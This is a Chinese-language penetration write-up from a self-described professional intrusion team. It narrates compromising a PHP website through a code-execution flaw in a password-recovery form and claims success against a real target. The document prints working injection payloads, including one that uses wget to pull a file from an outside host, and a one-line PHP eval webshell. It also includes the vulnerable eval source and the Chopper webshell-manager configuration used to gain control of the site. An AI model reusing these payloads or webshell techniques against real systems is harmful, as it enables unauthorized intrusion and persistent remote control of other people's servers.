一次渗透录
前言:暗月小组作为一个低调职业渗透的团队,目前遇到一个好的案例 在此和大家分享。
0x1:信息网收集
curl header的获取 旁站的获取
根据小编的渗透经验大家可以用来参考;
header获取 如图:
这里是centos 安装 curl yum install curl 自动安装 完成好 使用 curl -I url 命令对服务器信息进行初探
在此可看到 web应用服务 架构是 ubuntu php apache 从cookie信息已经可以肯定web的程序是php
ip反查:
www.biying.cn ip:ip
因考虑客户的安全防止破坏 在此以我们论坛的ip为例
如图:
端口收集 可以使用nmap工具等工具进行扫描,在此省略。
0x2:漏洞发现
漏洞扫描 ,大家使用wvs burpsuite等 假如网站不大 内容比较少且为php的是时候 我建议大家使用wvs 是一个不错的选择 。在多次的扫描中 我们发现在会员的取回密码处发现一代码执行漏洞。根据小编的习惯 对于截包发包工具 小编多使用burpsuite,因为burpsuite在所有工具中较为出色,打开ie设置代理 成功截包如图
修改包进行测试 可以看到一串md5值
已经确定是真实存在代码执行。这是可以使用
${@{print `id`}} ${@{print `wget -O test.pho http://www.xinyuse.org/xx.txt`}}这里注意不是双引号是 ``是反引号。
进行各种命令操作 。遗憾的是本次测试虽然命令都可以成功执行 但是创建 修改 上传 webshell均失败 经过多次测试都未能如愿突破。
0x3:菜刀突破
细看漏洞的形成
//校验用户输入的数据 function validate() { $arrErrorMsg = array(); //提示信息 $errorMsgNo = 0; //提示信息编号 $isize = count($this->arrCheckData)/4; //校验条数 //依次校验数据 for ($i=0; $i < $isize; $i++) { $fieldId = $this->arrCheckData[$i*4]; //表单字段Id $fields = explode(",", $this->arrCheckData[$i*4+1]); //相关表单字段Id $method = $this->arrCheckData[$i*4+2]; //校验方法 $msg = $this->arrCheckData[$i*4+3]; //校验失败的提示 $fieldsNum = count($fields)-1; //相关表单字段数量 for ($j=$fieldsNum; $j >= 0; $j--) { $field = $fields[$j]; //相关表单字段 $rdata = "data"; if($j>0) { $rdata .= $j; } $method = str_replace($rdata,"/"" . addslashes($_REQUEST[$field]) . "/"",$method); } if (substr($method, 0, 1) == "!") { $method = substr($method, 1); eval("/$b = !/$this->$method;"); } else { eval("/$b = /$this->$method;"); }
漏洞的形成是 eval 造成的 是从表单里面 获取值 然后使用addslashes进行过滤,可惜的是 根本没起到过滤作用 造成了漏洞的形成,代码执行时可以直接写shell的 但是用菜刀更为方便 于是在本地写了一段代码进行测试。
0x4 本地测试
<?php error_reporting(E_ALL & ~E_NOTICE); $str="fuck you webshell $_POST[cmd]"; eval("/$str = /"$str/";"); ?> 可以看到成功执行代码。
0x5 菜刀连接分析: 一般我们使用我们的一句话木马是这样写的 所以可以直接使用菜刀直接连接 但是我们这里的场景是 一个post提交里面要
<?php @eval($_POST[cmd]);?>
再包含一个post或者get 菜刀也考虑到这一点 不得不说菜刀一款强大的网站管理工具,从菜刀的手册里面可以到看到
B) 其它方面: ----------------------------------------------------------------------------- 添加额外附加提交的数据,如ASP的新服务端是这样的: <% Set o = Server.CreateObject("ScriptControl") o.language = "vbscript" o.addcode(Request("SC")) o.run "ff",Server,Response,Request,Application,Session,Error %> 那么,菜刀在配置处填入: <O>SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function</O> 然后以密码pass来连接即可。
使用<o></o>构造数据包:
经过多次测试 再后得出的值是这样的的 如图:
cmd=${@eval($_POST[moon])};moon=${@phpinfo()}
那菜刀的连接 如图:
成功渗透目标网站:
0x5 总结
此次本次渗透共花了小编两天时间,从发现到突破并不是一路顺风的、多多少少会有阻挠。
再后一句:令学活用已有的知识很重要。
转载请注明来源 www.moonhack.org
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论